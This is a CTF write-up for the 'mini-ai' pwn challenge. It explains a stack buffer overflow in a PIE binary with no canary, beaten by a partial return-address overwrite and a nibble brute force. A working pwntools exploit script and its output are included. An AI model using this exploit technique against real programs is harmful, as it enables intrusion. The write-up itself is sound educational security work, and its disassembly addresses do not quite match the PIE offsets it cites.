Skip to content

Mastercard CTF 2026 National Finals Presented by the NCC

Mastercard CTF 2026 National Finals Presented by the NCC

Travelled to Montreal with UofRCTF and placed 4th in the Mastercard CTF 2026 National Finals Presented by the National Cybersecurity Consortium. Writeup for a pwn challenge - mini-ai :)

Mastercard CTF 2026 National Finals Presented by the NCC

pwn/ mini-ai

Description

Hey champ! Recently, we parterned with ClosedAI to develop an AI chat bot that responds to client queries about service outages! It worked great for about half an hour and then it broke. Anyways, corporate needs it fixed so that we don't effectively waste our million dollar deal. Thanks!

Salut! Récemment, nous avons conclu un partenariat avec ClosedAI afin de développer un agent conversationnel d’IA qui répond aux questions de nos clients concernant nos pannes de service. Il fonctionnait à merveille pendant environ une heure, puis il a planté. Bref, la haute direction nous demande de le réparer pour éviter de gaspiller le contrat d’un million de dollars. Merci!

First look

We get a chatbot that “responds to client queries about service outages.”

fsharp
$ ./mini-ai                   
              $$\           $$\                 $$\ 
              \__|          \__|                \__|
$$$$$$\$$$$\  $$\ $$$$$$$\  $$\        $$$$$$\  $$\ 
$$  _$$  _$$\ $$ |$$  __$$\ $$ |       \____$$\ $$ |
$$ / $$ / $$ |$$ |$$ |  $$ |$$ |       $$$$$$$ |$$ |
$$ | $$ | $$ |$$ |$$ |  $$ |$$ |      $$  __$$ |$$ |
$$ | $$ | $$ |$$ |$$ |  $$ |$$ |      \$$$$$$$ |$$ |
\__| \__| \__|\__|\__|  \__|\__|       \_______|\__|

How can I help you today?

[prompt]> blah
thinking.....
Hmmm... actually I don't feel like running your query. Goodbye :)

The zip ships the binary plus a matching libc.so.6 and ld-linux-x86-64.so.2. The libc doesn't really matter here.

fsharp
$ file mini-ai
mini-ai: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=15c4afbea6790d54b08799fc5a36ef2ec7fd9566, for GNU/Linux 3.2.0, not stripped

$ checksec --file=mini-ai
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   44 Symbols        No    0               3               mini-ai

PIE executable, not stripped, so we have symbols to work with.

  • PIE: on. So no fixed code addresses, everything is relative to a randomized base.
  • NX: on (standard). No shellcode on the stack.
  • Canary: none. This is the important one.
  • RELRO: full, but it does not matter here.

The interesting symbols:

fsharp
main
vuln
win

Analyzing

main

main is tiny. It prints the ASCII banner, prints a one line intro, and calls vuln.

Also the flag is in the process memory in a global called flag .

win

win is where the flag gets printed.

The function takes an argument and compares it against the magic value 0xdeadc0de. If it does not match, it prints the “John” line and bails. Upon match, prints the flag.

  • win entry is at offset 0x1310.
  • the printf("Your flag ... %s", flag) is at offset 0x1338, which is win+0x28.

So our real target is win+0x28, not win. That way we can skip the deadc0de check.

vuln

This is the bug.

The buffer is 0x40 bytes (64) but read is told it can pull 0xc0 bytes (192). Classic stack buffer overflow, no canary in the way, so we can walk straight over the saved registers and the saved return address.

Disassembly:

fsharp
00401360  55                 push    rbp {__saved_rbp}
00401361  488d3dd20c0000     lea     rdi, [rel data_40203a]  {"How can I help you today?\n"}
00401368  4889e5             mov     rbp, rsp {__saved_rbp}
0040136b  4154               push    r12 {__saved_r12}
0040136d  53                 push    rbx {__saved_rbx}
0040136e  4883ec40           sub     rsp, 0x40

The buffer starts at rbp-0x50. Above it on the stack we have saved rbx, saved r12, the saved rbp, and then the return address at rbp+8. Distance from the start of the buffer to the saved return address is 0x50 + 8 = 0x58 = 88 bytes. So 88 bytes of padding, and then the next 8 bytes are the return address that vuln’s ret will jump to.

PIE with no leak

We have a clean overflow and we know where we want to go (win+0x28). The problem is PIE. Every address in the binary is base + offset, and base is randomized every run. We do not have any leak primitive. vuln never prints the buffer back, never leaks a stack or code pointer, nothing. So we cannot just compute base + 0x1338 and write it, because we do not know base.

This is where partial overwrite comes in, and it works out really nicely here.

The saved return address currently points at the instruction in main right after the call vuln, which is at offset 0x1131. We want it to point at win+0x28, which is offset 0x1338. Compare those two offsets:

0x1131   ->  0x1338

Both are inside the same code page in the sense that bit 12 and everything above it is identical.

The two offsets only differ in the low 12 bits. The PIE base is page aligned, so the bottom 12 bits of the base are always zero. That means the bottom 12 bits of any real address in the binary are fully determined by the offset, they are not randomized. Only the bits above bit 12 get scrambled.

So the low 12 bits of the return address (0x131) and the low 12 bits of our target (0x338) are predictable. If we could overwrite just those 12 bits and leave the rest alone, we would win.

But we write whole bytes, not nibbles. Writing the two low bytes covers 16 bits, and the top nibble of that (bits 12 through 15) is randomized. The low two bytes of the saved return address look like 0xN1 0x?1 style, where that one nibble is a random ASLR bit. When we overwrite the low two bytes to point 0x1338, we have to guess that one random nibble. One nibble is 4 bits, so it is a 1 in 16 chance per attempt.

Bruteforce!

The payload

Putting it together:

b"A" * 88            # padding up to the saved return address
+ b"\x38\x03"        # overwrite the low two bytes: 0x38 (low byte of 0x1338)
                     # and 0x03 (low nibble is the 0x3 we need, high nibble is our nibble guess)

We only send 90 bytes: 88 of padding plus 2 bytes of overwrite.

Solve script

Python
from pwn import *

while True:
    io = process("./mini-ai")
    io.send(b"A" * 88 + b"\x38\x03")
    if b"Your flag" in (r := io.recvall(timeout=6)):
        print(r.decode()); break
    io.close()

Running it

Locally stored a flag.txt . After some segfaults, one process lines up and prints:

fsharp
[+] Starting local process './mini-ai': pid 2379
[+] Receiving all data: Done (575B)
[*] Process './mini-ai' stopped with exit code 0 (pid 2379)
              $$\           $$\                 $$\ 
              \__|          \__|                \__|
$$$$$$\$$$$\  $$\ $$$$$$$\  $$\        $$$$$$\  $$\ 
$$  _$$  _$$\ $$ |$$  __$$\ $$ |       \____$$\ $$ |
$$ / $$ / $$ |$$ |$$ |  $$ |$$ |       $$$$$$$ |$$ |
$$ | $$ | $$ |$$ |$$ |  $$ |$$ |      $$  __$$ |$$ |
$$ | $$ | $$ |$$ |$$ |  $$ |$$ |      \$$$$$$$ |$$ |
\__| \__| \__|\__|\__|  \__|\__|       \_______|\__|

How can I help you today?

[prompt]> thinking.....
Hmmm... actually I don't feel like running your query. Goodbye :)
Your flag good sir: nccctf{t3st_f1ag_69}

Running it against the instance:

nccctf{fU1uR3_M3rG3r_w1Th_L3@k_@nD_4n1hR0p1c_b1w_3ea6e070}

Discussion

Loading discussion…

Related solves

Keep reading

Complete archive